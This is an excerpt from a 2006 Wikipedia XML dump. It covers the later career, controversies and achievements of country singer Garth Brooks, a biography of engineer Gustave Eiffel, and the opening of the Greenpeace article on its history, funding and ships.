Brooks' success as a star elsewhere in the world is also evident, enjoying hit records and sell-out tours in [[Ireland]], [[Spain]], throughout [[Europe]], [[Brazil]], [[The Far East]], [[New Zealand]], [[Australia]], etc. 

One of the later peaks in Brooks' fame came on [[August 7]], [[1997]], when he gave a free concert in [[New York City]]'s [[Central Park]], drawing hundreds of thousands of people in a city that many would say is far removed from the country music world.  Estimates of the actual crowd size varied considerably, from 250,000 to 750,000 or even higher (this is because many were outside the actual venue, which was filled, enjoying the show)[http://www.cnn.com/SHOWBIZ/9708/07/garth.late/]; an additional 14.6 million viewers saw it live on [[HBO]].  Billy Joel and [[Don McLean]] made guest appearances. Brooks once again won the award for the ACM ''Entertainer of the year'' in 1998.

== &quot;Chris Gaines&quot; ==

In [[1999]] Brooks launched upon a conceptually ambitious and unorthodox multi-media project.  He wanted to star in a thriller film in [[development hell|development]] called ''The Lamb'' that was about an emotionally conflicted fictional pop/rock star named [[Chris Gaines]].  He got the role, with [[Don Was]] to produce it.  To prepare for the film, Brooks then decided to ''become'' Chris Gaines, adopting an [[alter ego]] look and personality&amp;mdash;slimmer, black hair, [[soul patch]], somewhat [[angst]]-ridden&amp;mdash;and constructing a sizable [[back story]].  Much of this back story had to be musical, so with altered style and voice Brooks wrote and recorded Gaines' &quot;Greatest Hits&quot; album, ''In the Life of Chris Gaines''.  This was announced to the world, and met with a confused reaction, in May 1999 [http://www.eonline.com/News/Items/0,1,4744,00.html].

In October 1999, this album, now titled ''[[Garth Brooks In ... The Life of Chris Gaines]]'', was finally released.  It can best be described as a collection of Brooks's experiments in other [[popular music]] genres, such as [[alternative rock]] and [[rhythm and blues]].  It received mixed reviews in the United States, although in [[Great Britain]] the magazine ''[[Country Music People]]'' referred to it as &quot;a work of genius&quot;. 

A [[mockumentary]], ''Garth Brooks ... In The Life of Chris Gaines'' was also made and shown on [[VH1]] in that same year. Additionally, Brooks appeared once as guest host on ''[[Saturday Night Live]]'' with Gaines as special musical guest.

The success of the Chris Gaines experiment was decidedly doubtful mere weeks after the album was released. Some critics admired Brooks for demonstrating his range as a musician and actor, but most of the American public was either totally bewildered, or completely unreceptive to the idea of Garth Brooks as anything but a pop-country singer. Many of his fans also felt that by supporting the Gaines project they would lose the real Garth Brooks.  Sales of the album were unspectacular, and although it made it to #2 on the pop album chart, expectations had been higher and retail stores were heavily discounting their oversupply.  

''The Lamb'' film project, which had been the genesis of the whole idea, was then cancelled and &quot;Chris Gaines&quot; quickly faded away into obscurity. In 2005, ''[[Late Night with Conan O'Brien]]'' would display and mention Chris Gaines in its &quot;Late Night Wall of National Jokes&quot;.

== Charitable activities ==

In 1991, Brooks took part in '''Voices That Care''', a multi-artist project that featured other top names in music for a one-off single to raise money for the allied troops in the Gulf War. The project included fellow country singers [[Randy Travis]], [[Kenny Rogers]] and [[Kathy Mattea]]. 

In 1999, Garth Brooks began the ''Teammates for Kids Foundation'' which provides financial aid to charities for children.  The organization breaks down into three categories spanning three different sports.

* Touch 'Em All Foundation - Baseball Division
* Top Shelf - Hockey Division
* Touchdown - Football Division

The foundation enlists players to donate a predetermined sum of money depending on their game performance. Brooks has participated in spring training for the [[San Diego Padres]] in 1998 and 1999; the [[New York Mets]] in 2000, and most recently currently with the [[Kansas City Royals]] in 2004 to promote his foundation.

Brooks is also fundraiser for other various charities, including a number of children's charities and [[famine]] relief. He has also donated at least $1 million to [[wildlife]] causes.

== Retirement ==

As his career rose, Garth Brooks seemed frustrated by the conflicts between career and family.  He talked of retiring from performing in 1992 [http://www.planetgarth.com/news/article.php?cid=00229] and 1995, but went back out on tour each time instead.  In 1999, he talked again of retirement again on [[The Nashville Network]]'s ''[[Crook &amp; Chase]]'' program; this time, falling records sales may have been an additional trigger. [http://www.wholenote.com/default.asp?iTarget=http%3A//www.wholenote.com/news/item.asp%3Fi%3D116] 

In 1999, Garth and Sandy Brooks separated [http://news.bbc.co.uk/2/hi/entertainment/1717257.stm]; they made public their plans to divorce on [[October 9]], [[2000]] [http://music.yahoo.com/read/news/12054809] which became final in [[2001]]. 

On [[October 26]], 2000, Brooks officially announced his retirement from recording and performing. [http://music.yahoo.com/read/news/12057103] That same night, Capitol Records saluted his achievement of selling 100 million albums in the US with a lavish party at Nashville's [[Gaylord Entertainment Center]]. [http://music.yahoo.com/read/news/12057079] 

[[November 13]], 2001, saw the release of Brooks' last album, ''[[Scarecrow (2001 album)|Scarecrow]]''.  Brooks staged a few performances for promotional purposes, but stated that he would be retired from recording and performing at least until his youngest daughter, Allie, turned 18.  Although the album did not sell as well as his heyday, it still sold comfortably well, reaching #1 on both the pop and country charts.

Although Brooks' ceased to record new material between 2002 and (most of) 2005, he continued to chart with previously recorded material, including a top 30 placing for &quot;Why Ain't I Running&quot; in [[2003]].

On [[May 25]], [[2005]], Brooks proposed to girlfriend and fellow country music superstar [[Trisha Yearwood]] in front of a packed house in [[Bakersfield, California|Bakersfield]], [[California]].  In December 2005, Patricia Lynn Yearwood and Troyal Garth Brooks drove to [[Claremore, Oklahoma]] and got their [[marriage license]] at the [[Rogers County, Oklahoma|Rogers County]] Courthouse. They wed on [[December 10]], 2005, at their home in Oklahoma. It was Brooks' second marriage and the third for Yearwood. Trisha and Garth are constantly spotted at [[Utica Square]] in Tulsa where they shop and dine. They also live on Garth's plot of land off [[Oklahoma State Highway 20]], just northeast of Tulsa next to Sandy's home.

Later in 2005 there were rumours of a comeback concert in [[Las Vegas]]; however, these proved false and Brooks insisted he was not touring, neither did he have any plans to make any new studio material until 2015. However, there was some good news for his fans in August 2005 when it was announced that Brooks had signed a deal with [[Wal-Mart]], leasing them the rights to his [[back catalog]] following his split with Capitol. Three months later, Brooks and Wal-Mart issued ''[[The Limited Series (2005 box set)|The Limited Series]]'', a six-CD box set containing past material and a ''Lost Sessions'' disc with eleven previously unissued recordings. [http://www.countryweekly.com/stories/scene/63174] This is the first time in history that a musician has signed a deal that states his music will be sold by only one retailer. Confirmation that Brooks still has a large fan base was shown as the set sold more than 500,000 physical copies on its day of issue and it quickly topped 1 million by the first week in December (which by [[RIAA]] accounting rules for multiple albums is equal to 6 million units).  Granted the boxed set was released around Christmas, as a limited-edition, and priced well below what one might expect of a six-disc collection.

In September 2005, Brooks came out of his retirement long enough to perform [[John Fogerty]]'s &quot;Who'll Stop the Rain&quot; with Yearwood on the ''[[Shelter from the Storm: A Concert for the Gulf Coast]]'' nationwide telethon for [[Hurricane Katrina]] relief. A new single was also issued, &quot;Good Ride Cowboy&quot;, a tribute to his late friend, rodeo star and fellow country singer, [[Chris Ledoux]]. 
Later in the month Brooks performed at the [[Grand Ole Opry]]'s 80th birthday celebration. Selections included a duet with [[Steve Wariner]] on &quot;Long Neck Bottle&quot;, another joint effort with country legends [[Bill Anderson]], [[Porter Wagoner]], and [[Little Jimmy Dickens]], and a solo guitar &quot;The Dance&quot;, after telling the audience he hoped it was like riding a bicycle. The audience sang along with Garth, and there was a rousing long standing ovation. 

On November 15, 2005, Brooks performed &quot;Good Ride Cowboy&quot; in front of a live audience in [[Times Square]] in New York City, as part of the 2005 [[Country Music Association]] Awards show. The audience went wild, and Garth looked like his old self. In December, the single reached #1.

In early [[2006]] Wal-mart issued &quot;The Lost Sessions&quot; as a single cd free from the boxed set with extra tracks, including the top 40 duet, &quot;Love Will Always Win&quot;, with Trisha. All of the Garth Brooks studio albums were also re-issued under the umbrella &quot;the Remastered Series&quot;.

== Controversies ==

===Used CDs===

In [[1993]], Garth Brooks, who had criticized music stores which sold used CDs since it led to a loss in royalty payments, persuaded Capitol Records not to ship his album ''In Pieces'' to stores which engaged in such practices.  This led to several [[anti-trust]] lawsuits against the record label and ended with Capitol shipping the CDs to the stores after all. [http://www.planetgarth.com/gbnews/garth049.shtml]  Brooks lamented that the record label had &quot;sold out&quot;.

===Rude treatment from British media===
During Brooks' 1994 tour of the UK he made a number of general radio and television appearances.
On [[ITV]]'s regional news show ''[[London Tonight]]'', he was introduced with the words &quot;Howdy partners, I've gone on down to Wembley Arena to interview a top-selling, rooting tooting, cotton picking, Country and Western star, yeeha!&quot; On [[Channel 4]]'s nationwide ''[[The Big Breakfast|Big Breakfast]]'' show he was mocked by presenters [[Chris Evans]] and [[Paula Yates]], with Evans commenting, &quot;He's selling more records than anyone in the world, but none of us have ever heard of him.&quot; Yates did an impression of a Country singer and told Brooks that, &quot;Country singers always seem to be weeping over the dead dog and things,&quot; and also remarked, &quot;I thought you'd come in here and twiddle your pistol around and be impressed.&quot; During this interview, Brooks seemed a little uneasy and was relieved when he was told it was over; although he remained very polite, he did mention to Yates that she clearly didn't know a thing about Country music, at least in the last 20 years. Scores of Brooks fans wrote to complain about the way he was treated by the show. Sometime after this, [[Dwight Yoakam]] appeared on the same show and after Yates told him &quot;You seem different from other Country singers we've had on the show,&quot; Yoakam replied &quot;What? All Two of us?&quot;

In a radio interview with British Country disc jockey John Wellington, Brooks was quoted as saying, &quot;Yeah I was shocked at the reaction I got from the crowd in London. From the media attention I got, I thought country music didn't exist here, but Country music is alive and well in London, as well as all of England.&quot; Unlike [[Alan Jackson]], who refused to return to the UK after being treated in a similar manner by the press, Brooks returned in 1996 for more sell out concerts, although this time his media appearances were mostly restricted to country radio and interviews with [[magazine]]s.

===Best selling solo artist?===
In 1999 the [[Recording Industry Association of America]] made an announcement that Garth Brooks was the best-selling solo artist of the 20th century in America. [http://www.riaa.com/news/newsletter/press1999/111099.asp]  This conclusion drew a fair amount of disbelief and outrage from the press and music fans, who did not feel that Brooks had the stature or musical [[gravitas]] for this distinction, and who felt that surely [[Elvis Presley]] must have sold more records than Brooks.  This latter point led to much discussion and criticism of how RIAA does its certifications and lifetime totals, and how those methods may well have been faulty during the period decades ago in which Presley got many of his sales. [http://www.elvisinfonet.com/elvisvsbeatlespart1.html] [http://www.biwa.ne.jp/~presley/elnews-ElvisRecordSales.htm]

In any case, Brooks, while proud of his sales accomplishments, deferred to &quot;The King&quot; and stated that he too believed that Presley must have sold more.  &lt;!-- darn, I saw that quote a short while ago and now I can't find it --&gt;  [[List of best selling music artists in US|More recent figures]] now suggest that this is the case, but this brought more criticism of the accuracy of the RIAA's figures, this time from Brooks' followers.  Similarly, some doubt RIAA rankings which show [[Led Zeppelin]] as having outsold Brooks, as they have overtaken him on at least two occasions with very little chart action, whilst Brooks was having success with new albums.

===Absence on the pop singles charts===
While Brooks scored many number ones on the [[Billboard 200]] pop album chart, very few of his singles reached the parallel [[Billboard Hot 100]] singles chart, an odd discrepancy.  The Hot 100 chart has been the subject of much criticism over the years due to the way it has been compiled, especially since it stopped using  sales as its main source of information. In 2005, long after Brooks' peak success, the [[Pop 100]] was launched by Billboard in answer to these critics.  Although this new chart is still criticized by some, it shows stronger placings for country songs, in addition to this, he has also had stronger placings on another Billboard pop music chart, [[Top 40 Mainstream]], since it began in the late 1990s.  Still, no solo country artist has topped the Billboard singles chart since [[Kenny Rogers]] in 1981.

===Affair with Trisha Yearwood===

[[Tabloid]]s reported that Brooks was having an affair with country diva Trisha Yearwood. Garth admitted he had been cheating on his wife Sandy, and at one concert someone in the audience shouted &quot;Go back to her, Garth!&quot; His marriage to Sandy was soon over, however.  Probably because of Garth's mother's cancer, Sandy waited to file for divorce. Soon after his mother died, divorce papers were filed.

===Support for gay rights===
There have been rumours of alleged [[homosexuality]] since early in Brooks' career.
Brooks has consistently denied them, but his public actions have only fuelled speculation. In 2000, he appeared at the [[Equality Rocks]] [[benefit concert]] for [[gay rights]]. He sang a duet with openly gay singer [[George Michael]]. 

In the lyrics to his song &quot;We Shall Be Free&quot;, Brooks sings &quot;When we're free to love anyone we choose,&quot; a reference to gay relationships. However, this is by no means any indication of a homosexual preference; the song deals with all issues of fascism, racism, and bigotry and is a song about how everyone is equal, rather than a &quot;coming out&quot; song. Brooks won a 1993 [[GLAAD Media Awards|GLAAD Media Award]] for the song and his subsequent comments about it, such as, &quot;But if you're in love, you've got to follow your heart and trust that God will explain to us why we sometimes fall in love with people of the same sex.&quot; [http://gaytoday.badpuppy.com/garchive/entertain/040599en.htm] 

Brooks' sister, Betsy Smittle of Tulsa, is a well-known [[lesbian]] entertainer in Tulsa.  She has worked with the late country star [[Gus Hardin]] and several Tulsa musicians. Because of Brooks' gay-positive comments, and the close and heavily publicized relationship with his sister, Brooks has become one of very few country music [[gay icon]]s. (By comparison, in the pop or rock worlds, none of these stances would cause much notice.)

== Achievements ==

===Charts and sales===
* Garth Brooks is the only artist to have seven albums debut #1 on both [[The Billboard 200]] and Billboard's ''Top Country Albums'' charts: ''Ropin' the Wind'', ''The Chase'', ''In Pieces'', ''Sevens'', ''[[The Limited Series (1998 box set)|The Limited Series]]'', ''[[Double Live (Garth Brooks album)|Double Live]]'', ''Scarecrow'', in addition ''Fresh Horses'' debuted at #1 on the country chart and #2 on the pop 200.
* Capitol Records shipped 5 million copies of ''The Chase'' which, at the time, was the largest initial shipment in music history.
* ''Fresh Horses'' made history as the first album to have 8 out of 10 tracks on the country music singles charts at the same time.
* Follow-up ''Sevens'' broke his own record, with 12 out of 14 tracks on the singles charts.
* Every Rosemont Horizon (now [[Allstate Arena]]) record was broken by Garth when he sold over 140,000 concert tickets in 1997 alone.
* Garth Brooks was the first artist to debut a live album at #1 on two charts (''Double Live'').
* ''Double Live'' is the best-selling live album in music history.
** ''Double Live'' set the all-time record for first week sales 1,085,373 copies. (However, this record was broken by [[Britney Spears]] in 2000 (1.3 million with ''[[Oops!... I Did It Again]]''), [[Eminem]] (1.7 million with ''[[The Marshall Mathers LP]]''), and [[*NSYNC]] (2.41 million with ''[[No Strings Attached]]''.) In total, the ''double live'' album went on to sell in excess of 32 million units worldwide.
** This was also the record for any one week sales period for any genre artist in history.
* Garth's [[Central Park]] concert audience is generally estimated as being the largest for any concert there.
* Garth had three albums at the top of the Billboard pop charts at the same time in 1998 (''Sevens'', ''The Limited Series'', and ''Double Live'').  He was the first to do this since [[Elton John]] in 1975.
* Garth Brooks has four albums certified [[RIAA certification|diamond]] (more than 10 million copies), a record for a male solo performer, and the third overall (behind [[The Beatles]] with six and [[Led Zeppelin]] with five).
*  In the United States alone, Brooks has sold over 100 million albums, the fourth-highest such total ever.

=== Awards ===
* 2 [[Grammy Award]]s (total of 6 nominations)
* 16 [[American Music Award]]s
* 11 [[Country Music Association|Country Music Association Awards]] 
* 18 [[Academy of Country Music|Academy of Country Music Awards]] 
* 5 [[World Music Awards]]
* 10 [[People's Choice Awards]]
* 24 [[Billboard Music Award]]s
* 2 [[American Society of Composers, Authors, and Publishers|ASCAP]] Awards
* 2 Blockbuster Awards
* [[American Music Award]]s, Artist of the Decade (1990s)
* [[Academy of Country Music|Academy of Country Music Awards]], Artist of the Decade (1990s)
* [[Recording Industry Association of America]], Artist of the Century (1900s)
* 1 Radio Music Award
* 7 Primetime [[Emmy Award]] nominations (Outstanding in a Variety of Music Program)
* 1 [[Golden Globe Award|Golden Globe]] nomination (Best Original Song)
* [[Songwriters Hall of Fame]]: 2002

== Discography ==

''For a list of singles and albums, see [[Garth Brooks discography]]''

==Personal quotations==

* &quot;No matter where in the world we go, from the countries it was released as a single to the countries that it wasn't, it doesn't seem to matter, people just know that opening, no doubt about it, 'Friends in Low Places' is the most recognised Garth Brooks song.&quot;

* &quot;I truly believe if country music had the accessibility pop and rock has been granted it would be the biggest musical format on the planet.&quot;

* &quot;There have been hundreds people before me in this seat who will never be up here again and that's because the people were through with them, so I hope I can see it coming, so I can either retire gracefully and go out with some kind of class, I'll be faced with that decision to either do that or either hang in for one more album and see what happens.&quot;

* (''after being asked if he felt his was &quot;born to sing and entertain people&quot; )'' &quot;Well I hope I was, cause if there's something else I'm meant to be doing I'm missing the boat.&quot;

* &quot;I don't talk very well, but hopefully in my music we can get something across.&quot;

*(''After being compared to [[Elvis Presley]]) '' &quot;Come on, let's be realistic.... No one will ever touch Elvis.&quot;

* &quot;Sometimes you just can't be afraid to wear a different hat. If Columbus had complied this whole world might still be flat.&quot; 

* &quot;If you do it for the money you won't last very long, because money is the opposite of music.&quot;

* &quot;I want to thank the good Lord, because He's done a heck of a lot for me.&quot;

== See also ==
* [[List of best selling music artists]]
* [[List of best selling music artists in US]]
* [[List of best-selling albums in the United States]]

== References ==
* [http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=11:p95h8qbtbtb4~T1 Stephen Thomas Erlewine's All Music Guide biography]
* [http://www.planetgarth.com/ The Roughstock Network's site &quot;Planet Garth&quot;]
* [http://www.roughstock.com/ Garth Brooks on the Roughstock Country Countdown chart from 1995 forward]
* [http://music.yahoo.com/ar-288490-news--Garth-Brooks Garth Brooks news from 1997 forward]

== External links ==
* [http://www.planetgarth.com/ Planet Garth: Unofficial homepage with lots of information, songtexts, pictures and news]
*[http://www.country-lyrics.co.uk/lyrics_AB/Brooks_Garth/CATALOGUE.php Accurate Garth Brooks lyrics]
* [http://www.music-city.org/Garth-Brooks/discography/ Garth Brooks discography]
* [http://www.touchemall.com/ Teammates for Kids Foundation official website]
* {{imdb name|id=0004779|name=Garth Brooks}}
* [http://www.lyricsdir.com/garth-brooks-lyrics.html Garth Brooks Lyrics]
*[http://marriage.about.com/od/entertainmen1/p/garthbrooks.htm Garth Brooks and Trisha Yearwood Marriage Profile]
 

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    <title>Gustave Eiffel</title>
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      <timestamp>2006-03-02T12:51:31Z</timestamp>
      <contributor>
        <username>Ahoerstemeier</username>
        <id>7580</id>
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      <comment>Reverted edits by [[Special:Contributions/202.72.148.102|202.72.148.102]] ([[User talk:202.72.148.102|talk]]) to last version by Ahoerstemeier</comment>
      <text xml:space="preserve">[[Image:Gustave Eiffel.jpg|right|thumb|Gustave Eiffel]]
[[Image:Gustave Eiffel Monument.jpg|right|thumb|A monument to Gustave Eiffel at the base of the Eiffel Tower]]

'''Alexandre Gustave Eiffel''' ([[December 15]], [[1832]] &amp;ndash; [[December 27]], [[1923]]; French pronunciation {{IPA|/&amp;#603;f&amp;#603;l/}} in [[International Phonetic Alphabet|IPA]], in English usually pronounced in the German manner {{IPA|/'ajfəl/}}) was a  [[France|French]] engineer and architect, specialist of metallic structures, famous for building the [[Eiffel Tower]], (under construction [[1887]] - [[1889]]) for the 1889 [[World's fair|Universal Exposition]] in [[Paris]], [[France]]. It is less well known that he designed the armature for the [[Statue of Liberty]] in [[New York City|New York]] Harbor, [[United States|USA]]. 

He was born in [[Dijon]], [[Côte-d'Or]], [[France]]. The name ''Eiffel'' was adopted by one of his German ancestors in the early 18th century, taken from his birthplace [[Nettersheim|Marmagen]] located in the [[Eifel]], as the French could not pronounce his actual name of ''Bönickhausen''. His mother’s coal business provided ample income for the family and provided the funds for Gustave to receive higher education at the Ecole Centrale des Arts et Manufactures in Paris, where he studied chemistry. Gustave was to take over his uncle’s vinegar-and-paint factory. However, a family dispute removed that opportunity. Eiffel soon accepted entry-level employment with a company that designed railway bridges.

Charles Nepveu provided Eiffel with his first job as one of many project managers over a railway bridge in France.  During the construction process, fellow engineers on the project were steadily quiting and eventually Eiffel would become the man in charge of the entire project.  Nepveu saw the work that Eiffel performed on the jobsite and continued to place Eiffel in other jobs that involved project management of other railway bridges and structures.  During these projects, Eiffel got to know other engineers of the time, would be remembered for his work and allowed to work on other projects.  So without the influence of Nepveu and the ability for Eiffel to ride his coattails for a while, Eiffel would not have gone on to be as successful as he would eventually become.

Eiffel had personal characteristics that set him apart from many. He liked to try new things. He was a man that was dedicated to his work and wanted every job to turn out perfect. He was opinionated and if he did not like a design of something he was quick to make sure that it was changed. Eiffel was a family man. He enjoyed spending time with his grandchildren. He took time to teach them to swim and fence. Eiffel had several hobbies and interests. He had a unique and unheard of understanding of math and science and used them to the fullest. He enjoyed building large scale bridges. When he designed his structures he was creative and he always kept safety in mind.

Gustave Eiffel was first and foremost a master of metallurgy in the civil engineering field.  Eiffel would do things with metal that people before him had thought could not be done.  One of these things was the construction of portable metal bridges.  This was something that had not yet been undertaken by any other civil engineer.  After much trial and error, the solution that he presented to his client was to have a number of identical triangular components placed back to back and joined together.

This type of bridge proved to have many advantages.  The construction techniques of the day required skilled workers to do the iron work such as riveting and welding.  However, with Eiffel’s advent of the portable bridge, it became much easier and faster to build.  The components of the bridges were made in Eiffel’s workshop and were then shipped out to the location at which they were needed.  Once at the location, the bridges could be assembled by workers who were not required to be skilled metalworkers.  These bridges soon became used for all sorts of purposes such as pedestrian bridges and railroad bridges.

''Eiffel et Cie.'', Eiffel's consulting and construction firm with the support of Belgian engineer [[Téophile Seyrig]], participated in an international bid to design and build a 160 m long railway bridge over the [[Douro]] river, between [[Porto]] and [[Vila Nova de Gaia]], [[Portugal]]. His proposal was the winner because it was a beautiful, ''transparent'', structure, it was the least expensive and incorporated the use of the ''method of forces'', a then novel technique in structure design developed by [[Maxwell]] in 1864. The ''Ponte Maria Pia'' is conformed by a double hinged arch that supports a single lane railway plate through pillars that reinforced the whole of the bridge. The construction proceeded rapidly and the bridge was constructed in less than two years ([[5 January]], [[1876]] to [[4 November]], [[1877]]). It was inaugurated by the king D. [[Luís]] and the queen D. [[Maria Pia]], after whom it was named. The bridge was in use until 1991 (114 years) and was replaced by the S. John Bridge, designed by engineer [[Edgar Cardoso]]. &lt;sup&gt;[1], [2]&lt;/sup&gt;

Gustave Eiffel also designed [[La Ruche]] in Paris, that, like the Eiffel Tower, became a city landmark. A three-storey circular structure that looked more like a large beehive, it was created as a temporary structure for use as a wine rotunda at the Great Exposition of 1900. He also constructed the [[Garabit viaduct]], a [[railroad]] [[bridge]] near [[Ruynes en Margeride]] in the [[Cantal]] département.

Eiffel's reputation suffered a severe setback when he was implicated in the financial scandals surrounding [[Ferdinand de Lesseps]] and the entrepreneurs backing the failed French [[Panama Canal]] project. Eiffel himself had no connection with the finances, and his guilty judgment was later reversed. 

In his later years Eiffel began to study [[aerodynamics]].

Eiffel died on December 27, 1923 in his mansion on Rue Rabelais in Paris where he was interred in the Cimetière de Levallois-Perret.

The structures that Eiffel designed had great social, economical, and political impacts on the world.  These structures included bridges, the Eiffel Tower, the Panama Canal, and the Statue of Liberty.  

The bridges that he designed were constructed all over the world.  The bridges allowed for easier and faster travel and trade in the geographical area in which the bridge was constructed.  Many of Eiffel's bridges did not require skilled workers for assembly, which made his bridges a great economical choice.  

The Eiffel Tower had a huge impact on France.  The tower was the focal point of the International Exposition in 1889 and drew millions of people to Paris.  Nearly two million people visited the Eiffel Tower in 1889 alone.  The tower quickly became a tourist attraction and brought large amounts of money into France's economy.  After originally being thought of as an eye sore on Paris, the tower quickly became a national symbol of France and brought a sense of pride to the people who live there.

Eiffel's greatest impact on the world came through his work on the Panama Canal.  The original idea of a canal at sea level did not work and it was decided that a system of locks must be used.  Eiffel designed the large locks and allowed the project to carry on.  The canal had a major economical impact on the world immediately upon completion.  The Panama Canal saved ships many miles of travel, which allowed for goods to be transported faster and cheaper.

The Statue of Liberty was a gift from France to the United States.  Eiffel's design for the interior structural elements of the statue allowed for the statue to become a reality.  The statue showed the friendship and respect that was shared between France and the United States.  The Statue of Liberty quickly became a national symbol of freedom in the United States and gave citizens a sense of pride.  The statue became a great tourist attraction and brought many people to New York, boosting their economy.

===Famous buildings===
*[[Eiffel Tower]]
*[[Statue of Liberty]]
*[[Nice Observatory]]

==External links==
{{Commons|Gustave Eiffel}}
*[http://www.structurae.de/en/persons/data/d000009/index.cfm Structurae: Gustave Alexandre Eiffel]
*&lt;sup&gt;[1]&lt;/sup&gt; [http://www.portoturismo.pt/en/a_cidade/cidade_pontes/ Porto, city of bridges]
*&lt;sup&gt;[2]&lt;/sup&gt; [http://www.civilium.net/infocil/dmaria.shtml Ponte Maria Pia]
*&lt;sup&gt;[D]&lt;/sup&gt; [http://www.civilium.net/infocil/dmaria.shtml Ponte Maria Pia]


[[Category:1832 births|Eiffel, Gustave]]
[[Category:1923 deaths|Eiffel, Gustave]]
[[Category:French architects|Eiffel, Gustave]]
[[Category:Freemasons|Eiffel, Gustave]]

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  </page>
  <page>
    <title>Greenpeace</title>
    <id>12233</id>
    <restrictions>move=:edit=</restrictions>
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      <id>42100800</id>
      <timestamp>2006-03-03T21:02:58Z</timestamp>
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      <text xml:space="preserve">{{Infobox_Company | company_name   = Greenpeace 
| company_logo   = [[Image:Greenpeacelogo1.png|centre|300px]] 
| company_type   = [[Charitable trust|Charity]] 
| company_slogan = n/a. 
| foundation     = 1971 
| location       = [[Amsterdam]], [[Netherlands|Netherlands, The]] 
| key_people     = [[Paul Cote]]&lt;br&gt;[[Jim Bohlen]] and [[Marie Bohlen]]&lt;br&gt;[[Irving and Dorothy Stowe]]&lt;br&gt;[[Patrick Moore (environmentalist)|Patrick Moore]]&lt;br&gt;[[Bill Darnell]]&lt;br&gt;[[Ben and Dorothy Metcalfe]]&lt;br&gt;[[Robert Hunter (journalist)|Robert Hunter]]&lt;br&gt;[[Paul Watson]]&lt;br&gt;[[Manuel Rivas]]
| industry       = [[Natural environment|Environmentalism]] 
| products       = Lobbying, research, consultancy, sustainable technolgy. 
| revenue        = [[Dollar|$]]360 Million  [[United States Dollar|USD]] ([[2005]]) 
| num_employees    = &lt;i&gt;Unknown&lt;/i&gt; 
| homepage       = [http://www.greenpeace.org/international www.greenpeace.org/international]
}}

'''Greenpeace''' is an international [[environmental organization]] founded in [[Vancouver]], [[British Columbia]], [[Canada]] in [[1971]].
Greenpeace is known for its use of [[nonviolence|nonviolent direct action]] campaigns to stop atmospheric and underground [[nuclear testing]] as well as bring an end to high seas [[whaling]]. In later years, the focus of the organisation turned to other environmental issues, including [[bottom trawling]], [[global warming]] and [[genetic engineering]]. Greenpeace has national and regional offices in 41 countries worldwide, all of which have affiliation with the [[Amsterdam]]-based Greenpeace International. The global organisation receives its income through the individual contributions of an estimated 2.8 million financial supporters, as well as from grants from [[charity|charitable foundations]], but does not accept funding from governments or corporations.

Greenpeace's official mission statement describes the organisation and its aims thus:

:''Greenpeace is an independent, campaigning organisation which uses non-violent, creative confrontation to expose global environmental problems, and to force solutions for a green and peaceful future. Greenpeace's goal is to ensure the ability of the earth to nurture life in all its diversity.''

== Early history ==
The origins of Greenpeace lie in the formation of the ''[[Don't Make A Wave Committee]]'' by an assortment of [[Canadian]] and [[United States of America|American]] expatriate [[peace]] [[activism|activists]] in [[Vancouver]] in [[1970]]. Taking its name from a slogan used during protests against [[United States]] [[nuclear testing]] in late [[1969]], the Committee came together with the objective of stopping a second underground nuclear bomb test codenamed [[Amchitka|Cannikin]] by the [[United States military]] beneath the island of [[Amchitka]], [[Alaska]]. The first ship expedition was called the ''Greenpeace I'', and the second relief expedition the ''Greenpeace Too!''. The test was not stopped, but the organization of the committee laid the groundwork for Greenpeace's later activities. 

[[Image:Greenpeace-Brasília.jpg|thumb|300px|right|Greenpeace protest in [[Brasília]], [[Brazil]].]]

Bill Darnell has received the credit for combining the words ‘green’ and ‘peace’, thereby giving the organization its future name.

On [[4 May]] [[1972]], following Dorothy Stowe's departure from the chairmanship of the ''Don't Make A Wave Committee'', the fledgling environmental group officially changed its name to the &quot;Greenpeace Foundation&quot;.

===Greenpeace===
By the late [[1970s]], spurred by the global reach of what Robert Hunter called &quot;[[mind bombs]]&quot;, in which images of confrontation on the high seas converted diffuse and complex issues into considerably more media-friendly David versus Goliath-style narratives, more than 20 groups across [http://www.greenpeace.org/usa/ North America], [http://www.greenpeace.org/international Europe], [http://www.greenpeace.org.nz New Zealand] and [http://www.greenpeace.org.au Australia] had adopted the name &quot;Greenpeace&quot;.

In [[1979]], however, the original Vancouver-based Greenpeace Foundation had encountered financial difficulties, and disputes between offices over fund-raising and organizational direction split the global movement. [[David McTaggart]] lobbied the Canadian Greenpeace Foundation to accept a new structure which would bring the scattered Greenpeace offices under the auspices of a single global organization, and on [[October 14]], 1979, Greenpeace International came into existence. Under the new structure, the local offices would contribute a percentage of their income to the international organization, which would take responsibility for setting the overall direction of the movement. 

Greenpeace's transformation from a loose international network &amp;mdash; united by style more than by focus &amp;mdash; to a global organization able to apply the full force of its resources to a small number of environmental issues deemed of global significance, owed much to McTaggart's personal vision. McTaggart summed up his approach in a [[1994]] memo: &quot;No campaign should be begun without clear goals; no campaign should be begun unless there is a possibility that it can be won; no campaign should be begun unless you intend to finish it off&quot;. McTaggart's own assessment of what could and couldn't be won, and how, frequently caused controversy.

In re-shaping Greenpeace as a centrally coordinated, hierarchical organization, McTaggart went against the anti-authoritarian ethos that prevailed in other environmental organizations that came of age in the 1970s. While this pragmatic structure granted Greenpeace the persistence and narrow focus necessary to match forces with government and industry, it would lead to the recurrent criticism that Greenpeace had adopted the same methods of governance as its chief foes &amp;mdash; the [[multinational corporation]]s.

For smaller actions, and continuous local promotion and activism, Greenpeace has networks of active supporters that coordinate their efforts through national offices. The [http://www.greenpeace.org.uk United Kingdom] has some 6,000 Greenpeace activists.

=== Funding ===
Despite its founding in [[North America]], Greenpeace achieved much more success in [[Europe]], where it has more members and gets most of its money. The vast majority of Greenpeace's donations come from private individual members, however, it has received donations from some prominent figures such as [[Ted Turner]].

In order to ensure its independence and impartiality, Greenpeace does not accept money from [[corporation]]s or from governments: it screens donations to ensure compliance.

==Greenpeace Ships==

Since Greenpeace was founded, ships have played a vital role in its campaigns.  

In [[1978]], Greenpeace launched the original ''[[Rainbow Warrior]]'', a 40-metre, former fishing [[trawler]] named for the [[Cree]] legend that inspired early activist Robert Hunter on the first voyage to Amchitka.  Greenpeace purchased the ''Rainbow Warrior'' (originally launched as the ''Sir William Hardy'' in [[1955]]) at a cost of £40,000, and volunteers restored and refitted her over a period of four months.

